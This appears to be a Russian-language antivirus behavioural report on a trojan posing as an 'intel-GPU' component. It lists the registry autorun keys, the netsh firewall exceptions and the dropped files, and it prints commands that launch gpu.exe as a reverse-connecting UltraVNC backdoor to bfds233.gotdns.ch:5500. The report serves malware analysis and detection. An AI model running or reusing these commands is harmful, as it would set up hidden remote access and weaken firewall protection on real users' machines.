Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Classes\intel-GPU.cmd.exe\shell\open\command] '' = '"C:\intel-GPU\SilentRun.vbs" "%1"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'intel-gpu' = 'C:\intel-GPU\gpu.exe -multi -autoreconnect ID:5319479 -connect bfds233.gotdns.ch:5500'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\intel-gpu.lnk
Вредоносные функции
Запускает на исполнение
- '%WINDIR%\syswow64\netsh.exe' firewall add allowedprogram program="c:\intel-gpu\gpu.exe" name="MyApplication" mode=ENABLE scope=ALL
- '%WINDIR%\syswow64\netsh.exe' firewall add allowedprogram program="c:\intel-gpu\gpu.exe" name="MyApplication" mode=ENABLE scope=ALL profile=ALL
- '%WINDIR%\syswow64\taskkill.exe' /im rundll32.exe /f
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\is-82vxo950im.tmp\<Имя файла>.tmp
- %TEMP%\is-s511ppdb4r.tmp\_isetup\_setup64.tmp
- C:\intel-gpu\is-6llgmyl5al.tmp
- C:\intel-gpu\is-zwie28uc9v.tmp
- C:\intel-gpu\is-9nr0bkbfau.tmp
- %HOMEPATH%\desktop\is-b1f2du4rat.tmp
- C:\intel-gpu\is-2cz3frkgs5.tmp
- C:\intel-gpu\is-0gra8zjk4e.tmp
- %APPDATA%\microsoft\windows\start menu\programs\(default)\intel-gpu.lnk
- C:\intel-gpu\idd.txt
Удаляет файлы, которые сам же создал
- %TEMP%\is-s511ppdb4r.tmp\_isetup\_setup64.tmp
- %TEMP%\is-82vxo950im.tmp\<Имя файла>.tmp
Перемещает следующие файлы
- C:\intel-gpu\is-6llgmyl5al.tmp в C:\intel-gpu\gpu.cmd
- C:\intel-gpu\is-zwie28uc9v.tmp в C:\intel-gpu\gpu.exe
- C:\intel-gpu\is-9nr0bkbfau.tmp в C:\intel-gpu\gpu.txt
- %HOMEPATH%\desktop\is-b1f2du4rat.tmp в %HOMEPATH%\desktop\passport.jpg
- C:\intel-gpu\is-2cz3frkgs5.tmp в C:\intel-gpu\silentrun.vbs
- C:\intel-gpu\is-0gra8zjk4e.tmp в C:\intel-gpu\ultravnc.ini
Сетевая активность
UDP
- DNS ASK bf####3.gotdns.ch
Другое
Ищет следующие окна
- ClassName: 'NarratorUIClass' WindowName: ''
- ClassName: 'WinVNC Tray Icon' WindowName: ''
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\is-82vxo950im.tmp\<Имя файла>.tmp' /SL5="$F01E6,1839117,842240,<Полный путь к файлу>"
- '%WINDIR%\syswow64\wscript.exe' "C:\intel-GPU\SilentRun.vbs"
- 'C:\intel-gpu\gpu.exe' -autoreconnect ID:5319479 -connect bfds233.gotdns.ch:5500 -run
Запускает на исполнение
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\intel-GPU\gpu.cmd" " (со скрытым окном)
- '%WINDIR%\syswow64\mode.com' 90,20
- '%WINDIR%\syswow64\cmd.exe' /c Set GUID[ 2>Nul
- '%WINDIR%\syswow64\cmd.exe' /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
- '%WINDIR%\syswow64\reg.exe' Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
- '%WINDIR%\syswow64\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "intel-gpu" /t REG_SZ /d "C:\intel-GPU\gpu.exe -multi -autoreconnect ID:5319479 -connect bfds233.gotdns.ch:5500" /f
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" type c:\intel-gpu\gpu.txt"
- '%WINDIR%\syswow64\cmd.exe'
- '<SYSTEM32>\svchost.exe' -k appmodel -p -s camsvc
- '%WINDIR%\syswow64\timeout.exe' /t 1
